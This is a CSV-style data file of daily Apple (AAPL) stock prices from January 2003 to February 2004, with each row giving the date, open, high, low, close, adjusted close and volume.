-2003-01-08,1.041428565979004,1.0507142543792725,1.031428575515747,1.039285659790039,0.9021425843238831,57411200.0,AAPL
-2003-01-09,1.0442856550216675,1.0657142400741577,1.0357142686843872,1.0485714673995972,0.9102028012275696,53813200.0,AAPL
-2003-01-10,1.041428565979004,1.058571457862854,1.034999966621399,1.0514285564422607,0.9126830697059631,43775200.0,AAPL
-2003-01-13,1.0642857551574707,1.0642857551574707,1.0257142782211304,1.0449999570846558,0.9071025848388672,44735600.0,AAPL
-2003-01-14,1.0492857694625854,1.058571457862854,1.034999966621399,1.0435714721679688,0.9058626294136047,46715200.0,AAPL
-2003-01-15,1.0421428680419922,1.0499999523162842,1.018571376800537,1.0307142734527588,0.8947020769119263,92782200.0,AAPL
-2003-01-16,1.0149999856948853,1.0542857646942139,1.0149999856948853,1.0442856550216675,0.9064825773239136,139767600.0,AAPL
-2003-01-17,1.0399999618530273,1.0399999618530273,1.0057142972946167,1.0071429014205933,0.8742412328720093,66690400.0,AAPL
-2003-01-21,1.0149999856948853,1.0292856693267822,1.0,1.0014286041259766,0.869280993938446,63364000.0,AAPL
-2003-01-22,0.9985714554786682,1.0107142925262451,0.9857142567634583,0.991428554058075,0.8606003522872925,53785200.0,AAPL
-2003-01-23,1.0035713911056519,1.0257142782211304,0.9964285492897034,1.0121428966522217,0.8785813450813293,57064000.0,AAPL
-2003-01-24,1.01714289188385,1.01714289188385,0.9685714244842529,0.9857142567634583,0.855640172958374,76367200.0,AAPL
-2003-01-27,0.977142870426178,1.0357142686843872,0.9750000238418579,1.0092856884002686,0.8761011958122253,97851600.0,AAPL
-2003-01-28,1.01714289188385,1.0492857694625854,1.0114285945892334,1.041428565979004,0.9040025472640991,71563800.0,AAPL
-2003-01-29,1.039285659790039,1.0785714387893677,1.0214285850524902,1.066428542137146,0.9257036447525024,93261000.0,AAPL
-2003-01-30,1.0700000524520874,1.0764285326004028,1.020714282989502,1.0228571891784668,0.8878817558288574,101764600.0,AAPL
-2003-01-31,1.0135713815689087,1.039285659790039,1.0035713911056519,1.0257142782211304,0.8903619050979614,85306200.0,AAPL
-2003-02-03,1.0292856693267822,1.065000057220459,1.024999976158142,1.0471428632736206,0.9089628458023071,66196200.0,AAPL
-2003-02-04,1.0321428775787354,1.0464285612106323,1.0221428871154785,1.0428571701049805,0.9052426218986511,79353400.0,AAPL
-2003-02-05,1.0507142543792725,1.066428542137146,1.031428575515747,1.0321428775787354,0.8959421515464783,55403600.0,AAPL
-2003-02-06,1.0257142782211304,1.0421428680419922,1.0157142877578735,1.0307142734527588,0.8947020769119263,44787400.0,AAPL
-2003-02-07,1.039285659790039,1.0428571701049805,1.0049999952316284,1.0107142925262451,0.8773412704467773,67425400.0,AAPL
-2003-02-10,1.018571376800537,1.0407142639160156,1.0042856931686401,1.024999976158142,0.8897416591644287,41972000.0,AAPL
-2003-02-11,1.0357142686843872,1.0449999570846558,1.014285683631897,1.024999976158142,0.8897416591644287,41195000.0,AAPL
-2003-02-12,1.0192856788635254,1.0428571701049805,1.0192856788635254,1.0278571844100952,0.892221987247467,57171800.0,AAPL
-2003-02-13,1.0292856693267822,1.045714259147644,1.01714289188385,1.0385714769363403,0.9015224575996399,52123400.0,AAPL
-2003-02-14,1.0435714721679688,1.0514285564422607,1.024999976158142,1.0478571653366089,0.909582793712616,60824400.0,AAPL
-2003-02-18,1.0535714626312256,1.0928571224212646,1.0514285564422607,1.0907143354415894,0.9467843770980835,72724400.0,AAPL
-2003-02-19,1.0764285326004028,1.0821428298950195,1.0485714673995972,1.0607142448425293,0.9207432866096497,60092200.0,AAPL
-2003-02-20,1.0607142448425293,1.0685714483261108,1.0507142543792725,1.0549999475479126,0.9157830476760864,56088200.0,AAPL
-2003-02-21,1.058571457862854,1.0757142305374146,1.0464285612106323,1.0714285373687744,0.9300435781478882,39361000.0,AAPL
-2003-02-24,1.0614285469055176,1.0735714435577393,0.9857142567634583,1.0528571605682373,0.9139228463172913,45063200.0,AAPL
-2003-02-25,1.0485714673995972,1.0771428346633911,1.041428565979004,1.072857141494751,0.9312838912010193,47160400.0,AAPL
-2003-02-26,1.0707142353057861,1.072857141494751,1.0342856645584106,1.0357142686843872,0.8990421295166016,54273800.0,AAPL
-2003-02-27,1.0407142639160156,1.0714285373687744,1.0364285707473755,1.0614285469055176,0.9213634729385376,38585400.0,AAPL
-2003-02-28,1.0614285469055176,1.0778571367263794,1.0549999475479126,1.0721428394317627,0.9306634664535522,48774600.0,AAPL
-2003-03-03,1.0721428394317627,1.0828571319580078,1.039285659790039,1.0464285612106323,0.9083425402641296,50940400.0,AAPL
-2003-03-04,1.0528571605682373,1.0578571557998657,1.031428575515747,1.0399999618530273,0.9027625322341919,31603600.0,AAPL
-2003-03-05,1.0435714721679688,1.0571428537368774,1.0371428728103638,1.0442856550216675,0.9064825773239136,31670800.0,AAPL
-2003-03-06,1.041428565979004,1.0428571701049805,1.0285714864730835,1.0399999618530273,0.9027625322341919,24964800.0,AAPL
-2003-03-07,1.033571481704712,1.0507142543792725,1.0221428871154785,1.037857174873352,0.9009023904800415,50246000.0,AAPL
-2003-03-10,1.0364285707473755,1.0478571653366089,1.0214285850524902,1.0264285802841187,0.8909816741943359,33643400.0,AAPL
-2003-03-11,1.0257142782211304,1.034999966621399,1.0085713863372803,1.0164285898208618,0.8823015093803406,40297600.0,AAPL
-2003-03-12,1.0121428966522217,1.0278571844100952,1.0042856931686401,1.0157142877578735,0.881681501865387,55640200.0,AAPL
-2003-03-13,1.033571481704712,1.0571428537368774,1.0121428966522217,1.0514285564422607,0.9126830697059631,83861400.0,AAPL
-2003-03-14,1.0485714673995972,1.0721428394317627,1.045714259147644,1.0557142496109009,0.9164029955863953,38274600.0,AAPL
-2003-03-17,1.0635714530944824,1.0764285326004028,1.0507142543792725,1.0721428394317627,0.9306634664535522,99978200.0,AAPL
-2003-03-18,1.0714285373687744,1.0778571367263794,1.058571457862854,1.0714285373687744,0.9300435781478882,57495200.0,AAPL
-2003-03-19,1.0764285326004028,1.0821428298950195,1.0564285516738892,1.0678571462631226,0.9269436597824097,35329000.0,AAPL
-2003-03-20,1.066428542137146,1.0707142353057861,1.0428571701049805,1.065000057220459,0.9244636297225952,40794600.0,AAPL
-2003-03-21,1.0778571367263794,1.0821428298950195,1.058571457862854,1.0714285373687744,0.9300435781478882,74487000.0,AAPL
-2003-03-24,1.0478571653366089,1.0571428537368774,1.024999976158142,1.0264285802841187,0.8909816741943359,40275200.0,AAPL
-2003-03-25,1.0292856693267822,1.0592857599258423,1.0264285802841187,1.039285659790039,0.9021425843238831,41924400.0,AAPL
-2003-03-26,1.039285659790039,1.0399999618530273,1.0214285850524902,1.0292856693267822,0.8934620022773743,44585800.0,AAPL
-2003-03-27,1.0228571891784668,1.0499999523162842,1.0228571891784668,1.034999966621399,0.8984222412109375,30598400.0,AAPL
-2003-03-28,1.0285714864730835,1.0442856550216675,1.0264285802841187,1.0407142639160156,0.9033825397491455,36325800.0,AAPL
-2003-03-31,1.0235713720321655,1.037857174873352,1.0028570890426636,1.0099999904632568,0.8767213821411133,64164800.0,AAPL
-2003-04-01,1.014285683631897,1.0221428871154785,1.0049999952316284,1.0114285945892334,0.8779613971710205,38585400.0,AAPL
-2003-04-02,1.0257142782211304,1.0492857694625854,1.0192856788635254,1.0428571701049805,0.9052426218986511,42842800.0,AAPL
-2003-04-03,1.0399999618530273,1.0499999523162842,1.024999976158142,1.0328571796417236,0.896562397480011,36428000.0,AAPL
-2003-04-04,1.0371428728103638,1.0478571653366089,1.0278571844100952,1.0292856693267822,0.8934620022773743,36505000.0,AAPL
-2003-04-07,1.0607142448425293,1.0678571462631226,1.0292856693267822,1.034999966621399,0.8984222412109375,49215600.0,AAPL
-2003-04-08,1.0364285707473755,1.0464285612106323,1.0257142782211304,1.0321428775787354,0.8959421515464783,32233600.0,AAPL
-2003-04-09,1.0371428728103638,1.0442856550216675,1.0099999904632568,1.0135713815689087,0.8798214793205261,36681400.0,AAPL
-2003-04-10,1.014285683631897,1.0278571844100952,1.014285683631897,1.0264285802841187,0.8909816741943359,26775000.0,AAPL
-2003-04-11,1.0035713911056519,1.031428575515747,0.9235714077949524,0.9428571462631226,0.8184383511543274,348177200.0,AAPL
-2003-04-14,0.979285717010498,0.9821428656578064,0.9642857313156128,0.9700000286102295,0.8419996500015259,125739600.0,AAPL
-2003-04-15,0.970714271068573,0.9714285731315613,0.949999988079071,0.956428587436676,0.830219030380249,75992000.0,AAPL
-2003-04-16,0.9278571605682373,0.9764285683631897,0.9228571653366089,0.9457142949104309,0.8209186792373657,254044000.0,AAPL
-2003-04-17,0.9428571462631226,0.9464285969734192,0.9085714221000671,0.9371428489685059,0.8134782910346985,154064400.0,AAPL
-2003-04-21,0.9378571510314941,0.9421428442001343,0.927142858505249,0.9385714530944824,0.8147183656692505,38080000.0,AAPL
-2003-04-22,0.941428542137146,0.9728571176528931,0.9350000023841858,0.9649999737739563,0.8376592993736267,75142200.0,AAPL
-2003-04-23,0.9664285778999329,0.9735714197158813,0.954285740852356,0.9700000286102295,0.8419996500015259,52420200.0,AAPL
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-2003-04-25,0.9614285826683044,0.9700000286102295,0.9449999928474426,0.9535714387893677,0.8277389407157898,51329600.0,AAPL
-2003-04-28,0.9628571271896362,0.9971428513526917,0.9592857360839844,0.9900000095367432,0.8593603372573853,159199600.0,AAPL
-2003-04-29,0.9985714554786682,1.0114285945892334,0.9700000286102295,1.0042856931686401,0.8717608451843262,114559200.0,AAPL
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-2003-05-01,1.0178571939468384,1.0278571844100952,1.0,1.0257142782211304,0.8903619050979614,85689800.0,AAPL
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-2003-05-15,1.3285714387893677,1.3464285135269165,1.3192857503890991,1.3378571271896362,1.161314606666565,71248800.0,AAPL
-2003-05-16,1.3278571367263794,1.35785710811615,1.3057142496109009,1.3428571224212646,1.1656547784805298,85407000.0,AAPL
-2003-05-19,1.3235714435577393,1.3321428298950195,1.2899999618530273,1.2928571701049805,1.1222525835037231,111472200.0,AAPL
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-2003-05-21,1.270714282989502,1.2921428680419922,1.2621428966522217,1.274999976158142,1.1067520380020142,76252400.0,AAPL
-2003-05-22,1.2778571844100952,1.3142857551574707,1.26714289188385,1.3028571605682373,1.130933403968811,44615200.0,AAPL
-2003-05-23,1.3007142543792725,1.3185714483261108,1.2828571796417236,1.308571457862854,1.13589346408844,51679600.0,AAPL
-2003-05-27,1.2828571796417236,1.350000023841858,1.2792856693267822,1.3485714197158813,1.1706150770187378,72532600.0,AAPL
-2003-05-28,1.3214285373687744,1.3328571319580078,1.2964285612106323,1.3057142496109009,1.133413314819336,84919800.0,AAPL
-2003-05-29,1.3064285516738892,1.3214285373687744,1.2785714864730835,1.2928571701049805,1.1222525835037231,83441400.0,AAPL
-2003-05-30,1.2942856550216675,1.2985714673995972,1.2521429061889648,1.2821428775787354,1.1129523515701294,95687200.0,AAPL
-2003-06-02,1.2928571701049805,1.3064285516738892,1.2335714101791382,1.2464286088943481,1.0819507837295532,104647200.0,AAPL
-2003-06-03,1.2457143068313599,1.2621428966522217,1.2157143354415894,1.2364286184310913,1.0732704401016235,90214600.0,AAPL
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-2003-06-05,1.2464286088943481,1.26714289188385,1.2378571033477783,1.2599999904632568,1.09373140335083,51374400.0,AAPL
-2003-06-06,1.26714289188385,1.2885714769363403,1.2242857217788696,1.225000023841858,1.0633503198623657,60347000.0,AAPL
-2003-06-09,1.2100000381469727,1.2171428203582764,1.1878571510314941,1.1992857456207275,1.0410290956497192,64988000.0,AAPL
-2003-06-10,1.2064285278320312,1.2350000143051147,1.1964285373687744,1.2271428108215332,1.0652101039886475,44161600.0,AAPL
-2003-06-11,1.225000023841858,1.2507143020629883,1.2007142305374146,1.2464286088943481,1.0819507837295532,56278600.0,AAPL
-2003-06-12,1.2535713911056519,1.277142882347107,1.2464286088943481,1.2692856788635254,1.1017916202545166,63147000.0,AAPL
-2003-06-13,1.2678571939468384,1.2821428775787354,1.2235714197158813,1.2442857027053833,1.0800909996032715,47811400.0,AAPL
-2003-06-16,1.2571429014205933,1.3049999475479126,1.2464286088943481,1.3049999475479126,1.1327930688858032,59631600.0,AAPL
-2003-06-17,1.315000057220459,1.3214285373687744,1.284999966621399,1.2992857694625854,1.1278330087661743,44366000.0,AAPL
-2003-06-18,1.3178571462631226,1.3914285898208618,1.3078571557998657,1.3657143115997314,1.1854957342147827,113745800.0,AAPL
-2003-06-19,1.382857084274292,1.4007142782211304,1.3407143354415894,1.367142915725708,1.1867358684539795,95382000.0,AAPL
-2003-06-20,1.3821429014205933,1.3985713720321655,1.350000023841858,1.3714286088943481,1.1904560327529907,89136600.0,AAPL
-2003-06-23,1.3785713911056519,1.406428575515747,1.3392857313156128,1.3614286184310913,1.181775689125061,76840400.0,AAPL
-2003-06-24,1.3907142877578735,1.4049999713897705,1.337142825126648,1.341428518295288,1.1644145250320435,128595600.0,AAPL
-2003-06-25,1.3471428155899048,1.3857142925262451,1.3364285230636597,1.3635714054107666,1.1836354732513428,82453000.0,AAPL
-2003-06-26,1.335714340209961,1.3799999952316284,1.335714340209961,1.3778570890426636,1.1960361003875732,40426400.0,AAPL
-2003-06-27,1.3785713911056519,1.3792856931686401,1.3200000524520874,1.3378571271896362,1.161314606666565,91448000.0,AAPL
-2003-06-30,1.3342857360839844,1.3721429109573364,1.3278571367263794,1.3614286184310913,1.181775689125061,55538000.0,AAPL
-2003-07-01,1.347857117652893,1.3700000047683716,1.3221428394317627,1.3635714054107666,1.1836354732513428,45248000.0,AAPL
-2003-07-02,1.3592857122421265,1.3857142925262451,1.3585714101791382,1.3764286041259766,1.1947963237762451,81324600.0,AAPL
-2003-07-03,1.3571428060531616,1.3964285850524902,1.3557143211364746,1.3664286136627197,1.1861158609390259,34442800.0,AAPL
-2003-07-07,1.3764286041259766,1.441428542137146,1.3664286136627197,1.4192856550216675,1.2319978475570679,71568000.0,AAPL
-2003-07-08,1.3942856788635254,1.4642857313156128,1.39214289188385,1.4571428298950195,1.2648593187332153,64184400.0,AAPL
-2003-07-09,1.4435714483261108,1.460714340209961,1.420714259147644,1.420714259147644,1.2332382202148438,53411400.0,AAPL
-2003-07-10,1.4199999570846558,1.4242857694625854,1.3835713863372803,1.3985713720321655,1.2140170335769653,42733600.0,AAPL
-2003-07-11,1.4042856693267822,1.4285714626312256,1.3949999809265137,1.4178571701049805,1.2307580709457397,34214600.0,AAPL
-2003-07-14,1.4292857646942139,1.4571428298950195,1.4192856550216675,1.4214285612106323,1.2338577508926392,47101600.0,AAPL
-2003-07-15,1.4299999475479126,1.4457142353057861,1.38785719871521,1.4007142782211304,1.2158771753311157,51661400.0,AAPL
-2003-07-16,1.4264285564422607,1.4285714626312256,1.3842856884002686,1.4192856550216675,1.2319978475570679,62732600.0,AAPL
-2003-07-17,1.4421428442001343,1.4964286088943481,1.4378571510314941,1.4928570985794067,1.295861005783081,187803000.0,AAPL
-2003-07-18,1.4928570985794067,1.51285719871521,1.4571428298950195,1.4900000095367432,1.293380856513977,74709600.0,AAPL
-2003-07-21,1.4778571128845215,1.485714316368103,1.4500000476837158,1.4721428155899048,1.2778801918029785,45952200.0,AAPL
-2003-07-22,1.4907143115997314,1.4971429109573364,1.4642857313156128,1.485714316368103,1.2896605730056763,49606200.0,AAPL
-2003-07-23,1.4964286088943481,1.4971429109573364,1.4614285230636597,1.4850000143051147,1.2890406847000122,35758800.0,AAPL
-2003-07-24,1.5028570890426636,1.5357142686843872,1.4557143449783325,1.465000033378601,1.271680235862732,57309000.0,AAPL
-2003-07-25,1.4578571319580078,1.5407142639160156,1.4571428298950195,1.5385714769363403,1.335542917251587,54171600.0,AAPL
-2003-07-28,1.5357142686843872,1.5357142686843872,1.4900000095367432,1.4992856979370117,1.3014411926269531,42589400.0,AAPL
-2003-07-29,1.4992856979370117,1.5057142972946167,1.4657143354415894,1.4800000190734863,1.2847003936767578,49280000.0,AAPL
-2003-07-30,1.4835714101791382,1.4928570985794067,1.4407142400741577,1.4485714435577393,1.2574191093444824,43398600.0,AAPL
-2003-07-31,1.481428623199463,1.524999976158142,1.4692857265472412,1.5057142972946167,1.3070216178894043,75366200.0,AAPL
-2003-08-01,1.5,1.5192856788635254,1.4742857217788696,1.4807143211364746,1.2853206396102905,37401000.0,AAPL
-2003-08-04,1.466428518295288,1.5357142686843872,1.4485714435577393,1.5149999856948853,1.3150817155838013,57528800.0,AAPL
-2003-08-05,1.524999976158142,1.5285714864730835,1.4357142448425293,1.4557143449783325,1.2636194229125977,62360200.0,AAPL
-2003-08-06,1.4328571557998657,1.4407142400741577,1.3928571939468384,1.402142882347107,1.2171175479888916,61366200.0,AAPL
-2003-08-07,1.4092856645584106,1.434999942779541,1.3871428966522217,1.4235714673995972,1.2357182502746582,43594600.0,AAPL
-2003-08-08,1.4364285469055176,1.4378571510314941,1.399999976158142,1.4028571844100952,1.2177371978759766,34414800.0,AAPL
-2003-08-11,1.4157142639160156,1.4235714673995972,1.393571376800537,1.4042856693267822,1.2189770936965942,34307000.0,AAPL
-2003-08-12,1.4114285707473755,1.414285659790039,1.3899999856948853,1.4071428775787354,1.2214574813842773,41109600.0,AAPL
-2003-08-13,1.4185714721679688,1.4528571367263794,1.3985713720321655,1.441428542137146,1.2512189149856567,71024800.0,AAPL
-2003-08-14,1.4435714483261108,1.4521428346633911,1.4242857694625854,1.4264285564422607,1.238198161125183,48195000.0,AAPL
-2003-08-15,1.4299999475479126,1.433571457862854,1.4042856693267822,1.4078571796417236,1.222077488899231,31466400.0,AAPL
-2003-08-18,1.4185714721679688,1.4578571319580078,1.408571481704712,1.4528571367263794,1.261139154434204,48193600.0,AAPL
-2003-08-19,1.4550000429153442,1.460714340209961,1.4285714626312256,1.4514285326004028,1.2598990201950073,33422200.0,AAPL
-2003-08-20,1.441428542137146,1.5192856788635254,1.4385714530944824,1.5007143020629883,1.3026814460754395,68303200.0,AAPL
-2003-08-21,1.5021429061889648,1.5507142543792725,1.4964286088943481,1.5485714673995972,1.3442232608795166,63831600.0,AAPL
-2003-08-22,1.5578571557998657,1.5714285373687744,1.4742857217788696,1.4914286136627197,1.2946209907531738,62566000.0,AAPL
-2003-08-25,1.4842857122421265,1.493571400642395,1.4635714292526245,1.4900000095367432,1.293380856513977,34445600.0,AAPL
-2003-08-26,1.4821428060531616,1.5049999952316284,1.4535714387893677,1.5035713911056519,1.3051615953445435,41239800.0,AAPL
-2003-08-27,1.493571400642395,1.5342856645584106,1.4757143259048462,1.5342856645584106,1.3318226337432861,56425600.0,AAPL
-2003-08-28,1.5235713720321655,1.587142825126648,1.5235713720321655,1.5850000381469727,1.3758443593978882,79906400.0,AAPL
-2003-08-29,1.585714340209961,1.6321429014205933,1.5750000476837158,1.6150000095367432,1.401886224746704,65788800.0,AAPL
-2003-09-02,1.618571400642395,1.6357142925262451,1.600000023841858,1.6321429014205933,1.4167670011520386,60533200.0,AAPL
-2003-09-03,1.6285713911056519,1.6657142639160156,1.6257143020629883,1.639285683631897,1.4229669570922852,67207000.0,AAPL
-2003-09-04,1.6542856693267822,1.6607142686843872,1.6264286041259766,1.6307142972946167,1.4155266284942627,49945000.0,AAPL
-2003-09-05,1.6235713958740234,1.6535714864730835,1.6007143259048462,1.6071428060531616,1.3950657844543457,60033400.0,AAPL
-2003-09-08,1.6057143211364746,1.6278570890426636,1.6050000190734863,1.6242856979370117,1.4099462032318115,41811000.0,AAPL
-2003-09-09,1.6092857122421265,1.6192857027053833,1.5800000429153442,1.597857117652893,1.387005090713501,45092600.0,AAPL
-2003-09-10,1.5892857313156128,1.6150000095367432,1.579285740852356,1.5842857360839844,1.3752250671386719,56222600.0,AAPL
-2003-09-11,1.5892857313156128,1.6278570890426636,1.5785714387893677,1.6114286184310913,1.3987858295440674,53421200.0,AAPL
-2003-09-12,1.60785710811615,1.6528571844100952,1.593571424484253,1.649999976158142,1.432267427444458,44997400.0,AAPL
-2003-09-15,1.6292856931686401,1.6357142925262451,1.5800000429153442,1.5864285230636597,1.3770846128463745,56711200.0,AAPL
-2003-09-16,1.5864285230636597,1.6207143068313599,1.585714340209961,1.5971428155899048,1.386385202407837,67251800.0,AAPL
-2003-09-17,1.597857117652893,1.5985714197158813,1.5607142448425293,1.5800000429153442,1.371504545211792,72349200.0,AAPL
-2003-09-18,1.5785714387893677,1.64214289188385,1.5678571462631226,1.6342856884002686,1.4186265468597412,63226800.0,AAPL
-2003-09-19,1.6342856884002686,1.6464285850524902,1.6021428108215332,1.6128571033477783,1.4000258445739746,51489200.0,AAPL
-2003-09-22,1.5842857360839844,1.6071428060531616,1.5657142400741577,1.5771428346633911,1.3690242767333984,44955400.0,AAPL
-2003-09-23,1.572857141494751,1.604285717010498,1.5628571510314941,1.6021428108215332,1.3907253742218018,33112800.0,AAPL
-2003-09-24,1.5864285230636597,1.593571424484253,1.5057142972946167,1.5228571891784668,1.3219020366668701,75321400.0,AAPL
-2003-09-25,1.5242856740951538,1.5264285802841187,1.4464285373687744,1.4592857360839844,1.2667192220687866,143595200.0,AAPL
-2003-09-26,1.4500000476837158,1.5499999523162842,1.4392857551574707,1.4778571128845215,1.282840371131897,86812600.0,AAPL
-2003-09-29,1.534999966621399,1.5478571653366089,1.475000023841858,1.5214285850524902,1.320662498474121,91425600.0,AAPL
-2003-09-30,1.506428599357605,1.5157142877578735,1.4600000381469727,1.4800000190734863,1.2847003936767578,71356600.0,AAPL
-2003-10-01,1.479285717010498,1.5071429014205933,1.4421428442001343,1.4850000143051147,1.2890406847000122,59028200.0,AAPL
-2003-10-02,1.485714316368103,1.485714316368103,1.4485714435577393,1.4692857265472412,1.275399923324585,51014600.0,AAPL
-2003-10-03,1.4992856979370117,1.5614285469055176,1.4914286136627197,1.5492857694625854,1.3448433876037598,74900000.0,AAPL
-2003-10-06,1.5478571653366089,1.5950000286102295,1.541428565979004,1.5921428203582764,1.3820452690124512,67082400.0,AAPL
-2003-10-07,1.5750000476837158,1.6721428632736206,1.565000057220459,1.658571481704712,1.4397079944610596,104543600.0,AAPL
-2003-10-08,1.6607142686843872,1.6814285516738892,1.6235713958740234,1.6471428871154785,1.4297871589660645,107167200.0,AAPL
-2003-10-09,1.664285659790039,1.6907142400741577,1.6278570890426636,1.6749999523162842,1.4539682865142822,86937200.0,AAPL
-2003-10-10,1.6785714626312256,1.7007142305374146,1.6692856550216675,1.691428542137146,1.468229055404663,43709400.0,AAPL
-2003-10-13,1.6950000524520874,1.743571400642395,1.6942857503890991,1.7392857074737549,1.5097713470458984,69966400.0,AAPL
-2003-10-14,1.73714280128479,1.76714289188385,1.7278571128845215,1.7535713911056519,1.5221716165542603,68854800.0,AAPL
-2003-10-15,1.774999976158142,1.7864285707473755,1.7557142972946167,1.7728571891784668,1.5389121770858765,152525800.0,AAPL
-2003-10-16,1.7000000476837158,1.7028571367263794,1.6007143259048462,1.6607142686843872,1.4415677785873413,243920600.0,AAPL
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-2003-10-28,1.6114286184310913,1.697857141494751,1.600000023841858,1.6942857503890991,1.4707090854644775,62928600.0,AAPL
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-2003-11-11,1.5642857551574707,1.572857141494751,1.5342856645584106,1.5385714769363403,1.335542917251587,53768400.0,AAPL
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-2003-11-26,1.492142915725708,1.5107142925262451,1.4464285373687744,1.4800000190734863,1.2847003936767578,61282200.0,AAPL
-2003-11-28,1.4842857122421265,1.5049999952316284,1.4657143354415894,1.493571400642395,1.2964811325073242,19024600.0,AAPL
-2003-12-01,1.5028570890426636,1.5607142448425293,1.5,1.5507142543792725,1.346083402633667,90384000.0,AAPL
-2003-12-02,1.5428571701049805,1.5642857551574707,1.5292856693267822,1.5385714769363403,1.335542917251587,51324000.0,AAPL
-2003-12-03,1.5385714769363403,1.559999942779541,1.4971429109573364,1.5021429061889648,1.303921103477478,47824000.0,AAPL
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-2003-12-05,1.4928570985794067,1.5107142925262451,1.4807143211364746,1.4892857074737549,1.2927606105804443,46544400.0,AAPL
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-2003-12-09,1.5121428966522217,1.5178571939468384,1.4571428298950195,1.460714340209961,1.2679595947265625,33786200.0,AAPL
-2003-12-10,1.460714340209961,1.4721428155899048,1.4257142543792725,1.4557143449783325,1.2636194229125977,67834200.0,AAPL
-2003-12-11,1.4464285373687744,1.5242856740951538,1.4435714483261108,1.5149999856948853,1.3150817155838013,45784200.0,AAPL
-2003-12-12,1.5228571891784668,1.5228571891784668,1.4785714149475098,1.492142915725708,1.2952407598495483,48168400.0,AAPL
-2003-12-15,1.534999966621399,1.534999966621399,1.433571457862854,1.4407142400741577,1.250598430633545,97227200.0,AAPL
-2003-12-16,1.4421428442001343,1.4635714292526245,1.4292857646942139,1.4371428489685059,1.247498869895935,93489200.0,AAPL
-2003-12-17,1.4342857599258423,1.4378571510314941,1.4135714769363403,1.4199999570846558,1.232617735862732,68565000.0,AAPL
-2003-12-18,1.4214285612106323,1.441428542137146,1.4214285612106323,1.4314285516738892,1.242538332939148,82728800.0,AAPL
-2003-12-19,1.4421428442001343,1.458571434020996,1.4014285802841187,1.4071428775787354,1.2214574813842773,113390200.0,AAPL
-2003-12-22,1.4035714864730835,1.420714259147644,1.375,1.4178571701049805,1.2307580709457397,94266200.0,AAPL
-2003-12-23,1.4228571653366089,1.4249999523162842,1.399999976158142,1.4149999618530273,1.2282778024673462,77124600.0,AAPL
-2003-12-24,1.408571481704712,1.4707143306732178,1.4035714864730835,1.4578571319580078,1.2654794454574585,44368800.0,AAPL
-2003-12-26,1.4535714387893677,1.493571400642395,1.4528571367263794,1.4842857122421265,1.288420557975769,25923800.0,AAPL
-2003-12-29,1.493571400642395,1.5114285945892334,1.4900000095367432,1.5107142925262451,1.3113617897033691,58364600.0,AAPL
-2003-12-30,1.51285719871521,1.5357142686843872,1.5107142925262451,1.5199999809265137,1.3194221258163452,51213400.0,AAPL
-2003-12-31,1.524999976158142,1.537857174873352,1.51285719871521,1.5264285802841187,1.3250023126602173,43612800.0,AAPL
-2004-01-02,1.539285659790039,1.5535714626312256,1.51285719871521,1.5199999809265137,1.3194221258163452,36160600.0,AAPL
-2004-01-05,1.5299999713897705,1.5992857217788696,1.5299999713897705,1.583571434020996,1.3746044635772705,98754600.0,AAPL
-2004-01-06,1.5892857313156128,1.6014286279678345,1.5507142543792725,1.5778571367263794,1.369644284248352,127337000.0,AAPL
-2004-01-07,1.5785714387893677,1.6307142972946167,1.566428542137146,1.6135714054107666,1.4006457328796387,146718600.0,AAPL
-2004-01-08,1.631428599357605,1.6950000524520874,1.6178570985794067,1.6685714721679688,1.4483883380889893,115075800.0,AAPL
-2004-01-09,1.6592856645584106,1.7235714197158813,1.6278570890426636,1.6428571939468384,1.4260669946670532,106864800.0,AAPL
-2004-01-12,1.6607142686843872,1.7142857313156128,1.649999976158142,1.6950000524520874,1.4713292121887207,121886800.0,AAPL
-2004-01-13,1.764285683631897,1.7742856740951538,1.704285740852356,1.722857117652893,1.495510220527649,169754200.0,AAPL
-2004-01-14,1.7428570985794067,1.7528570890426636,1.6985714435577393,1.7285714149475098,1.5004711151123047,155010800.0,AAPL
-2004-01-15,1.6364285945892334,1.6714285612106323,1.6071428060531616,1.6321429014205933,1.4167670011520386,254552200.0,AAPL
-2004-01-16,1.6349999904632568,1.645714282989502,1.6150000095367432,1.6228570938110352,1.4087061882019043,93205000.0,AAPL
-2004-01-20,1.6192857027053833,1.6285713911056519,1.5892857313156128,1.6235713958740234,1.409326195716858,78986600.0,AAPL
-2004-01-21,1.6214286088943481,1.6407142877578735,1.6021428108215332,1.6150000095367432,1.401886224746704,56665000.0,AAPL
-2004-01-22,1.6114286184310913,1.6307142972946167,1.5842857360839844,1.5842857360839844,1.3752250671386719,51251200.0,AAPL
-2004-01-23,1.6014286279678345,1.6242856979370117,1.5892857313156128,1.6114286184310913,1.3987858295440674,56792400.0,AAPL
-2004-01-26,1.604285717010498,1.6471428871154785,1.6021428108215332,1.643571376800537,1.4266871213912964,67817400.0,AAPL
-2004-01-27,1.645714282989502,1.6607142686843872,1.6285713911056519,1.6478571891784668,1.4304074048995972,76767600.0,AAPL
-2004-01-28,1.631428599357605,1.6699999570846558,1.6007143259048462,1.6085714101791382,1.3963055610656738,68850600.0,AAPL
-2004-01-29,1.6164286136627197,1.6285713911056519,1.5850000381469727,1.6200000047683716,1.4062261581420898,53174800.0,AAPL
-2004-01-30,1.6178570985794067,1.6335713863372803,1.6014286279678345,1.6114286184310913,1.3987858295440674,46324600.0,AAPL
-2004-02-02,1.604285717010498,1.6292856931686401,1.5771428346633911,1.5942857265472412,1.3839051723480225,71857800.0,AAPL
-2004-02-03,1.5928571224212646,1.600000023841858,1.5714285373687744,1.590000033378601,1.3801848888397217,45203200.0,AAPL
-2004-02-04,1.5714285373687744,1.5778571367263794,1.5499999523162842,1.5564285516738892,1.351043462753296,76388200.0,AAPL
-2004-02-05,1.558571457862854,1.6364285945892334,1.5578571557998657,1.6014286279678345,1.3901052474975586,88211200.0,AAPL
-2004-02-06,1.6035714149475098,1.6349999904632568,1.600000023841858,1.6221429109573364,1.4080862998962402,48335000.0,AAPL
-2004-02-09,1.6157143115997314,1.632857084274292,1.6071428060531616,1.6192857027053833,1.4056059122085571,47065200.0,AAPL
-2004-02-10,1.6157143115997314,1.6514285802841187,1.6028571128845215,1.6414285898208618,1.424826741218567,63835800.0,AAPL
-2004-02-11,1.6492856740951538,1.7050000429153442,1.6464285850524902,1.7000000476837158,1.4756693840026855,87136000.0,AAPL
-2004-02-12,1.6864285469055176,1.7135714292526245,1.6857142448425293,1.6950000524520874,1.4713292121887207,45997000.0,AAPL
-2004-02-13,1.7035714387893677,1.7214285135269165,1.6307142972946167,1.6428571939468384,1.4260669946670532,78995000.0,AAPL
-2004-02-17,1.649999976158142,1.6778571605682373,1.649999976158142,1.6542856693267822,1.4359874725341797,42739200.0,AAPL
